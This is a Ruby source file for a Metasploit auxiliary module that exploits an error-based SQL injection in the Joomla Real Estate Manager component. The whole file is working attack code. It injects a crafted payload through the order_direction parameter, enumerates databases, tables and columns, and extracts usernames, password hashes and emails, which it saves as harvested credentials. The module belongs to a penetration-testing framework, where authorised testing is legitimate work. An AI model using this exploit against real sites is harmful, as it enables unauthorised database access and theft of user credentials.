/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb
Ruby | 260 lines | 215 code | 40 blank | 5 comment | 14 complexity | 5c65191fcc25e0fe88fd8bc1dad47749 MD5 | raw file
- ##
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit4 < Msf::Auxiliary
- include Msf::Auxiliary::Report
- include Msf::Exploit::Remote::HttpClient
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection',
- 'Description' => %q{
- This module exploits a SQL injection vulnerability in Joomla Plugin
- com_realestatemanager versions 3.7 in order to either enumerate
- usernames and password hashes.
- },
- 'References' =>
- [
- ['EDB', '38445']
- ],
- 'Author' =>
- [
- 'Omer Ramic', # discovery
- 'Nixawk', # metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'DisclosureDate' => 'Oct 22 2015'
- ))
- register_options(
- [
- OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
- ], self.class)
- end
- def print_good(message='')
- super("#{rhost}:#{rport} - #{message}")
- end
- def print_status(message='')
- super("#{rhost}:#{rport} - #{message}")
- end
- def report_cred(opts)
- service_data = {
- address: opts[:ip],
- port: opts[:port],
- service_name: ssl ? 'https' : 'http',
- protocol: 'tcp',
- workspace_id: myworkspace_id
- }
- credential_data = {
- origin_type: :service,
- module_fullname: fullname,
- username: opts[:user]
- }.merge(service_data)
- if opts[:password]
- credential_data.merge!(
- private_data: opts[:password],
- private_type: :nonreplayable_hash,
- jtr_format: 'md5'
- )
- end
- login_data = {
- core: create_credential(credential_data),
- status: opts[:status],
- proof: opts[:proof]
- }.merge(service_data)
- create_credential_login(login_data)
- end
- def check
- flag = Rex::Text.rand_text_alpha(5)
- payload = "0x#{flag.unpack('H*')[0]}"
- data = sqli(payload)
- if data && data.include?(flag)
- Msf::Exploit::CheckCode::Vulnerable
- else
- Msf::Exploit::CheckCode::Safe
- end
- end
- def sqli(query)
- lmark = Rex::Text.rand_text_alpha(5)
- rmark = Rex::Text.rand_text_alpha(5)
- payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
- payload << "0x#{lmark.unpack('H*')[0]},"
- payload << '%s,'
- payload << "0x#{rmark.unpack('H*')[0]},"
- payload << 'FLOOR(RAND(0)*2)'
- payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
- get = {
- 'option' => 'com_realestatemanager',
- 'task' => 'showCategory',
- 'catid' => '50',
- 'Itemid' => '132'
- }
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'vars_get' => get,
- })
- if res && res.code == 200
- cookie = res.get_cookies
- post = {
- 'order_field' => 'price',
- 'order_direction' => 'asc,' + (payload % query)
- }
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'method' => 'POST',
- 'cookie' => cookie,
- 'vars_get' => get,
- 'vars_post' => post
- })
- # Error based SQL Injection
- if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
- $1
- end
- end
- end
- def query_databases
- dbs = []
- query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
- query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'
- dbc = sqli(query)
- query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
- query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'
- 0.upto(dbc.to_i - 1) do |i|
- dbname = sqli(query_fmt % i)
- dbs << dbname
- vprint_good("Found database name: #{dbname}")
- end
- %w(performance_schema information_schema mysql).each do |dbname|
- dbs.delete(dbname) if dbs.include?(dbname)
- end
- dbs
- end
- def query_tables(database)
- tbs = []
- query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
- query << 'FROM INFORMATION_SCHEMA.TABLES '
- query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"
- tbc = sqli(query)
- query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
- query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
- query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
- query_fmt << 'LIMIT %d,1)'
- vprint_status('tables in database: %s' % database)
- 0.upto(tbc.to_i - 1) do |i|
- tbname = sqli(query_fmt % i)
- vprint_good("Found table #{database}.#{tbname}")
- tbs << tbname if tbname =~ /_users$/
- end
- tbs
- end
- def query_columns(database, table)
- cols = []
- query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
- colc = sqli(query)
- vprint_status("Found Columns: #{colc} from #{database}.#{table}")
- valid_cols = [ # joomla_users
- 'activation',
- 'block',
- 'email',
- 'id',
- 'lastResetTime',
- 'lastvisitDate',
- 'name',
- 'otep',
- 'otpKey',
- 'params',
- 'password',
- 'registerDate',
- 'requireReset',
- 'resetCount',
- 'sendEmail',
- 'username'
- ]
- query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
- query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"
- 0.upto(colc.to_i - 1) do |i|
- record = {}
- valid_cols.each do |col|
- l = 1
- record[col] = ''
- loop do
- value = sqli(query_fmt % [col, l, i])
- break if value.blank?
- record[col] << value
- l += 54
- end
- end
- cols << record
- unless record['username'].blank?
- print_good("Found credential: #{record['username']}:#{record['password']} (Email: #{record['email']})")
- report_cred(
- ip: rhost,
- port: datastore['RPORT'],
- user: record['username'].to_s,
- password: record['password'].to_s,
- status: Metasploit::Model::Login::Status::UNTRIED,
- proof: record.to_s
- )
- end
- vprint_status(record.to_s)
- end
- cols
- end
- def run
- dbs = query_databases
- dbs.each do |db|
- tables = query_tables(db)
- tables.each do |table|
- cols = query_columns(db, table)
- next if cols.blank?
- path = store_loot(
- 'joomla.users',
- 'text/plain',
- datastore['RHOST'],
- cols.to_json,
- 'joomla.users')
- print_good('Saved file to: ' + path)
- end
- end
- end
- end